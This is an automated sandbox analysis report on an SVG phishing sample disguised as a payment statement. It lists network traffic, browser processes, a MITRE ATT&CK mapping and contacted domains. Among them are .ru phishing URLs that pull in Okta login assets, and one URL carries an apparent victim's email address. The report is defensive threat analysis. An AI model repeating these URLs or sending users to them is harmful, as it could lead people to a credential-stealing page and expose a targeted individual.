Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49687 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49682
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49681
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49679 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443

Source: unknown	HTTPS traffic detected: 142.251.35.164:443 -> 192.168.2.6:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.167.219:443 -> 192.168.2.6:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.167.219:443 -> 192.168.2.6:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.194.137:443 -> 192.168.2.6:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.94.41:443 -> 192.168.2.6:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.25.14:443 -> 192.168.2.6:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.2.189:443 -> 192.168.2.6:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.95.41:443 -> 192.168.2.6:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.6.189:443 -> 192.168.2.6:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.95.41:443 -> 192.168.2.6:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.95.41:443 -> 192.168.2.6:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.29.234:443 -> 192.168.2.6:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.149.248:443 -> 192.168.2.6:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.167.219:443 -> 192.168.2.6:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.6:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.164.124.91:443 -> 192.168.2.6:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.164.124.91:443 -> 192.168.2.6:49753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.113.3:443 -> 192.168.2.6:49757 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.108.133:443 -> 192.168.2.6:49758 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.70.233:443 -> 192.168.2.6:49779 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.164.124.110:443 -> 192.168.2.6:49784 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.0.100:443 -> 192.168.2.6:49785 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.55.185:443 -> 192.168.2.6:49788 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.55.185:443 -> 192.168.2.6:49789 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.6:49813 version: TLS 1.2

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Windows\SystemTemp\scoped_dir3528_2001561160

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File deleted: C:\Windows\SystemTemp\scoped_dir3528_2001561160

Jump to behavior

Source: classification engine

Classification label: mal100.phis.evad.winSVG@27/84@45/19

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2096,i,4625138158765404214,6670854772082926395,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version --mojo-platform-channel-handle=2148 /prefetch:3
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "C:\Users\user\Desktop\4354_QB_Paymt_Statemnt.svg"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2096,i,4625138158765404214,6670854772082926395,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version --mojo-platform-channel-handle=2148 /prefetch:3	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Malware Analysis System Evasion

Yara detected AntiDebug via timestamp check

Source: Yara match	File source: 2.14..script.csv, type: HTML
Source: Yara match	File source: 1.3.d.script.csv, type: HTML
Source: Yara match	File source: 2.15..script.csv, type: HTML
Source: Yara match	File source: 2.8.pages.csv, type: HTML
Source: Yara match	File source: 2.6.pages.csv, type: HTML
Source: Yara match	File source: 2.7.pages.csv, type: HTML
Source: Yara match	File source: 2.9.pages.csv, type: HTML

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Browser Extensions	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Scripting	Boot or Logon Initialization Scripts	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 File Deletion	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
https://ojjk.threaw.ru/klt5HClA9r3rInXOW55CCxGwczDAZBUwPQThkwx183kZaMR3FkLdr78169	0%	Avira URL Cloud	safe
https://eskt7ikqljkvzjuepuwvfm1znvw7leyzgq9ok09hsarhxqzvkhfswpmmvv7l.bkvxbr.ru/9506571830193154dWyGskXCYQJPSZKRJBPFZYDGTDTOMIASGyzeQRropiX4IMyqi56dpxKseeqr46	0%	Avira URL Cloud	safe
https://ojjk.threaw.ru/ophNMnjD09t6LRNnwcDIWcrcEbT92TV122rA7n9zTIc2j9al0Pdzcd240	0%	Avira URL Cloud	safe
https://ojjk.threaw.ru/rseyf4M4qkLC6N79HlPA2Lj3xn4lLij2MR5V7XE1fNHuAoaNID0cd191	0%	Avira URL Cloud	safe
https://ojjk.threaw.ru/rnTqwRZpKsqnr655sK1qTI2O0HGdb85PM6HGnHijEIUQvh	0%	Avira URL Cloud	safe
https://ojjk.threaw.ru/GDSherpa-vf2.woff2	0%	Avira URL Cloud	safe
https://ojjk.threaw.ru/qrPpQi0Fj5bdUDaP5werwOhEVkgh5AQlaeZlQ2Jh1a47tLuSUd67138	0%	Avira URL Cloud	safe
https://ojjk.threaw.ru/GDSherpa-regular.woff	0%	Avira URL Cloud	safe
https://ojjk.threaw.ru/GDSherpa-regular.woff2	0%	Avira URL Cloud	safe
https://ojjk.threaw.ru/yz46pLUD00kizHYnnU6bof7bcAirsvdWRIwJmSlYfP7x0LZR90180	0%	Avira URL Cloud	safe
https://ojjk.threaw.ru/abxkcM3R4q1pqBAxcd30	0%	Avira URL Cloud	safe
https://eskt7ikqljkvzjuepuwvfm1znvw7leyzgq9ok09hsarhxqzvkhfswpmmvv7l.bkvxbr.ru/9506571830193154dWyGskXCYQJPSZKRJBPFZYDGTDTOMIASGyzjfEJb1SkKo7jmd56H7kEop50	0%	Avira URL Cloud	safe
https://eskt7ikqljkvzjuepuwvfm1znvw7leyzgq9ok09hsarhxqzvkhfswpmmvv7l.bkvxbr.ru/9506571830193154dWyGskXCYQJPSZKRJBPFZYDGTDTOMIASGyzGGZycaag4Dhp56z10pmqr50	0%	Avira URL Cloud	safe
https://ojjk.threaw.ru/GDSherpa-vf.woff2	0%	Avira URL Cloud	safe
https://ojjk.threaw.ru/mnftGZ6T4KS81p8fZTeBwvv5HuxobfRDUiIdnlklUtCsHL332DD05fTkpvwx212	0%	Avira URL Cloud	safe
https://ojjk.threaw.ru/3421dxWNQbepgabxy17D2H8920	0%	Avira URL Cloud	safe
https://bkh8y.hxnywi.ru/kella$c421a	0%	Avira URL Cloud	safe
https://ojjk.threaw.ru/uvqdWH9UkZgIhqcpFstwLaNBMzYeeuym12130	0%	Avira URL Cloud	safe
https://ojjk.threaw.ru/GDSherpa-bold.woff2	0%	Avira URL Cloud	safe
https://ojjk.threaw.ru/56SnUlnJtnstXtTlL4qUNVklHSqCQv3W76KMYA89110	0%	Avira URL Cloud	safe
https://eskt7ikqljkvzjuepuwvfm1znvw7leyzgq9ok09hsarhxqzvkhfswpmmvv7l.bkvxbr.ru/9506571830193154dWyGskXCYQJPSZKRJBPFZYDGTDTOMIASGrsFBZ5wlGhyzcjnPuwx40	0%	Avira URL Cloud	safe
https://ojjk.threaw.ru/BlKkhx/	0%	Avira URL Cloud	safe
https://ojjk.threaw.ru/rqELAoQiLuhaQVVM12gvPvjW1Je7zylsUi2vns4SpEEYfw	0%	Avira URL Cloud	safe
https://ojjk.threaw.ru/ij0AlpT5Tf9myJvtskiIi82JmxrVsbHB89zzrQRRNOJaA2eUjHo0gSq0qa5Kyz230	0%	Avira URL Cloud	safe
https://ojjk.threaw.ru/GDSherpa-bold.woff	0%	Avira URL Cloud	safe
https://ojjk.threaw.ru/mnwFd5onowWAHTghXXWAijTPXzNan5WlIhl678142	0%	Avira URL Cloud	safe
https://ojjk.threaw.ru/stNPXmdKQocuHxRwNF8NI8G79SRSOmnWO3iAAp3xltq1AgaMB1ZgnzthM97kWmKjnhhckgh260	0%	Avira URL Cloud	safe
https://ojjk.threaw.ru/ghAbPLuVWKAPK1MpTYpJTToVl3lrrmnOyjWS2oiClbe20Y5DYBEWGpef209	0%	Avira URL Cloud	safe
https://ojjk.threaw.ru/favicon.ico	0%	Avira URL Cloud	safe

Domains and IPs

Download Network PCAP: filtered – full

Contacted Domains

Name	IP	Active	Malicious	Reputation
a.nel.cloudflare.com	35.190.80.1	true	false	high
developers.cloudflare.com	104.16.2.189	true	false	high
bkh8y.hxnywi.ru	104.21.29.234	true	false	unknown
github.com	140.82.113.3	true	false	high
ojjk.threaw.ru	172.67.167.219	true	true	unknown
eskt7ikqljkvzjuepuwvfm1znvw7leyzgq9ok09hsarhxqzvkhfswpmmvv7l.bkvxbr.ru	104.21.55.185	true	false	unknown
code.jquery.com	151.101.194.137	true	false	high
cdnjs.cloudflare.com	104.17.25.14	true	false	high
challenges.cloudflare.com	104.18.94.41	true	false	high
get.geojs.io	172.67.70.233	true	false	high
www.google.com	142.251.35.164	true	false	high
d19d360lklgih4.cloudfront.net	18.164.124.91	true	false	high
objects.githubusercontent.com	185.199.108.133	true	false	high
ok4static.oktacdn.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://ok4static.oktacdn.com/fs/bcg/4/gfsh9pi7jcWKJKMAs1t7	false		high
https://code.jquery.com/jquery-3.6.0.min.js	false		high
https://ojjk.threaw.ru/GDSherpa-regular.woff2	false	Avira URL Cloud: safe	unknown
https://ojjk.threaw.ru/GDSherpa-regular.woff	false	Avira URL Cloud: safe	unknown
https://ojjk.threaw.ru/yz46pLUD00kizHYnnU6bof7bcAirsvdWRIwJmSlYfP7x0LZR90180	false	Avira URL Cloud: safe	unknown
https://ojjk.threaw.ru/GDSherpa-vf2.woff2	false	Avira URL Cloud: safe	unknown
https://ojjk.threaw.ru/BlKkhx/#Ebraden@humphreyscapital.com	false		unknown
https://ojjk.threaw.ru/ophNMnjD09t6LRNnwcDIWcrcEbT92TV122rA7n9zTIc2j9al0Pdzcd240	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/d/925f6e3cbb80917b/1742916430009/KdR7JbnFznJVHjZ	false		high
https://ojjk.threaw.ru/qrPpQi0Fj5bdUDaP5werwOhEVkgh5AQlaeZlQ2Jh1a47tLuSUd67138	false	Avira URL Cloud: safe	unknown
https://ojjk.threaw.ru/klt5HClA9r3rInXOW55CCxGwczDAZBUwPQThkwx183kZaMR3FkLdr78169	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/turnstile/v0/b/708f7a809116/api.js	false		high
https://eskt7ikqljkvzjuepuwvfm1znvw7leyzgq9ok09hsarhxqzvkhfswpmmvv7l.bkvxbr.ru/9506571830193154dWyGskXCYQJPSZKRJBPFZYDGTDTOMIASGyzeQRropiX4IMyqi56dpxKseeqr46	false	Avira URL Cloud: safe	unknown
https://ojjk.threaw.ru/rseyf4M4qkLC6N79HlPA2Lj3xn4lLij2MR5V7XE1fNHuAoaNID0cd191	false	Avira URL Cloud: safe	unknown
https://ojjk.threaw.ru/rnTqwRZpKsqnr655sK1qTI2O0HGdb85PM6HGnHijEIUQvh	false	Avira URL Cloud: safe	unknown
https://ok4static.oktacdn.com/assets/loginpage/css/loginpage-theme.e0d37a504604ef874bad26435d62011f.css	false		high
https://eskt7ikqljkvzjuepuwvfm1znvw7leyzgq9ok09hsarhxqzvkhfswpmmvv7l.bkvxbr.ru/9506571830193154dWyGskXCYQJPSZKRJBPFZYDGTDTOMIASGyzjfEJb1SkKo7jmd56H7kEop50	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/cmg/1	false		high
https://ojjk.threaw.ru/abxkcM3R4q1pqBAxcd30	false	Avira URL Cloud: safe	unknown
https://eskt7ikqljkvzjuepuwvfm1znvw7leyzgq9ok09hsarhxqzvkhfswpmmvv7l.bkvxbr.ru/9506571830193154dWyGskXCYQJPSZKRJBPFZYDGTDTOMIASGyzGGZycaag4Dhp56z10pmqr50	false	Avira URL Cloud: safe	unknown
https://a.nel.cloudflare.com/report/v4?s=ERPFwPkgCMvd7WOrRrsFvR1JpWEC%2BSvtm7Ezr7RAZEufKVzB0pHv2Ym%2FdEzUd3n5IqcKP17OFWDQUIHwJnUouZesZwbHbc4hzg4KqxUfcAE23OuON14DmoZTuP39	false		high
https://bkh8y.hxnywi.ru/kella$c421a	false	Avira URL Cloud: safe	unknown
https://ojjk.threaw.ru/uvqdWH9UkZgIhqcpFstwLaNBMzYeeuym12130	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=925f6e3cbb80917b&lang=auto	false		high
https://ojjk.threaw.ru/GDSherpa-vf.woff2	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/nxntx/0x4AAAAAABAfAYT7TW9UJ31J/auto/fbE/new/normal/auto/	false		high
https://ojjk.threaw.ru/GDSherpa-bold.woff2	false	Avira URL Cloud: safe	unknown
https://ojjk.threaw.ru/3421dxWNQbepgabxy17D2H8920	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/flow/ov1/326701419:1742912882:gQ8gn12rH__0TKEFoBSzNBo90wn3IU5W6VoNnnrwKjU/925f6e3cbb80917b/L6MRTPzTkLVj0QVRN7KndrPsg.bPmxhHqfVUaJayn9A-1742916428-1.1.1.1-6wSSPfBrxBFjdw4z80eTc_SVzwn8XaJnlWuyVYWjVnyoDtMaN0BcrI2vfIlUnV3x	false		high
https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js	false		high
https://ok4static.oktacdn.com/assets/js/sdk/okta-signin-widget/7.18.0/css/okta-sign-in.min.css	false		high
https://ojjk.threaw.ru/56SnUlnJtnstXtTlL4qUNVklHSqCQv3W76KMYA89110	false	Avira URL Cloud: safe	unknown
https://ojjk.threaw.ru/mnftGZ6T4KS81p8fZTeBwvv5HuxobfRDUiIdnlklUtCsHL332DD05fTkpvwx212	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/pat/925f6e3cbb80917b/1742916430008/a244d9cbd59b4264723de8a796ca4bd75012d775f4f277796f3de31ccbdd0e79/F37XGZ-0um2z5-Y	false		high
https://ojjk.threaw.ru/roqorkbdnbuuwxbo9qpgn5lphrtkqtoc?WNBDNBZADSAQKSI	true		unknown
https://eskt7ikqljkvzjuepuwvfm1znvw7leyzgq9ok09hsarhxqzvkhfswpmmvv7l.bkvxbr.ru/9506571830193154dWyGskXCYQJPSZKRJBPFZYDGTDTOMIASGrsFBZ5wlGhyzcjnPuwx40	false	Avira URL Cloud: safe	unknown
https://ojjk.threaw.ru/ij0AlpT5Tf9myJvtskiIi82JmxrVsbHB89zzrQRRNOJaA2eUjHo0gSq0qa5Kyz230	false	Avira URL Cloud: safe	unknown
https://ojjk.threaw.ru/BlKkhx/	true	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/turnstile/v0/api.js?onload=onloadTurnstileCallback	false		high
https://ojjk.threaw.ru/rqELAoQiLuhaQVVM12gvPvjW1Je7zylsUi2vns4SpEEYfw	false	Avira URL Cloud: safe	unknown
https://ojjk.threaw.ru/GDSherpa-bold.woff	false	Avira URL Cloud: safe	unknown
https://ojjk.threaw.ru/mnwFd5onowWAHTghXXWAijTPXzNan5WlIhl678142	false	Avira URL Cloud: safe	unknown
https://developers.cloudflare.com/favicon.png	false		high
https://ojjk.threaw.ru/favicon.ico	false	Avira URL Cloud: safe	unknown
https://ojjk.threaw.ru/ghAbPLuVWKAPK1MpTYpJTToVl3lrrmnOyjWS2oiClbe20Y5DYBEWGpef209	false	Avira URL Cloud: safe	unknown
https://ojjk.threaw.ru/stNPXmdKQocuHxRwNF8NI8G79SRSOmnWO3iAAp3xltq1AgaMB1ZgnzthM97kWmKjnhhckgh260	false	Avira URL Cloud: safe	unknown
https://a.nel.cloudflare.com/report/v4?s=%2Fq1Gw5NgINOzc7bZTN%2BOIgFK2bsvygo7Mt3QuMpPRg%2FY7TJ0akdx%2BPu%2F2O9I0VMVzUG%2B24zD0IiJa8bF8VzSncItL2nuUj3dMG5rrPKuD83ih8clOjuEtzInSR6S	false		high
https://get.geojs.io/v1/ip/geo.json	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://github.com/fent)	chromecache_117.1.dr	false		high
https://www.walmart.com	chromecache_90.1.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
140.82.113.3	github.com	United States	36459	GITHUBUS	false
104.18.94.41	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
172.67.167.219	ojjk.threaw.ru	United States	13335	CLOUDFLARENETUS	true
151.101.194.137	code.jquery.com	United States	54113	FASTLYUS	false
104.16.6.189	unknown	United States	13335	CLOUDFLARENETUS	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
104.16.2.189	developers.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
172.67.149.248	unknown	United States	13335	CLOUDFLARENETUS	false
18.164.124.91	d19d360lklgih4.cloudfront.net	United States	3	MIT-GATEWAYSUS	false
104.21.55.185	eskt7ikqljkvzjuepuwvfm1znvw7leyzgq9ok09hsarhxqzvkhfswpmmvv7l.bkvxbr.ru	United States	13335	CLOUDFLARENETUS	false
104.21.29.234	bkh8y.hxnywi.ru	United States	13335	CLOUDFLARENETUS	false
104.18.95.41	unknown	United States	13335	CLOUDFLARENETUS	false
18.164.124.110	unknown	United States	3	MIT-GATEWAYSUS	false
172.67.70.233	get.geojs.io	United States	13335	CLOUDFLARENETUS	false
185.199.108.133	objects.githubusercontent.com	Netherlands	54113	FASTLYUS	false
142.251.35.164	www.google.com	United States	15169	GOOGLEUS	false
104.17.25.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
104.26.0.100	unknown	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.6

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1648196
Start date and time:	2025-03-25 16:25:54 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 18s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 134, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	4354_QB_Paymt_Statemnt.svg
Detection:	MAL
Classification:	mal100.phis.evad.winSVG@27/84@45/19
Cookbook Comments:	Found application associated with file extension: .svg

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe, TextInputHost.exe
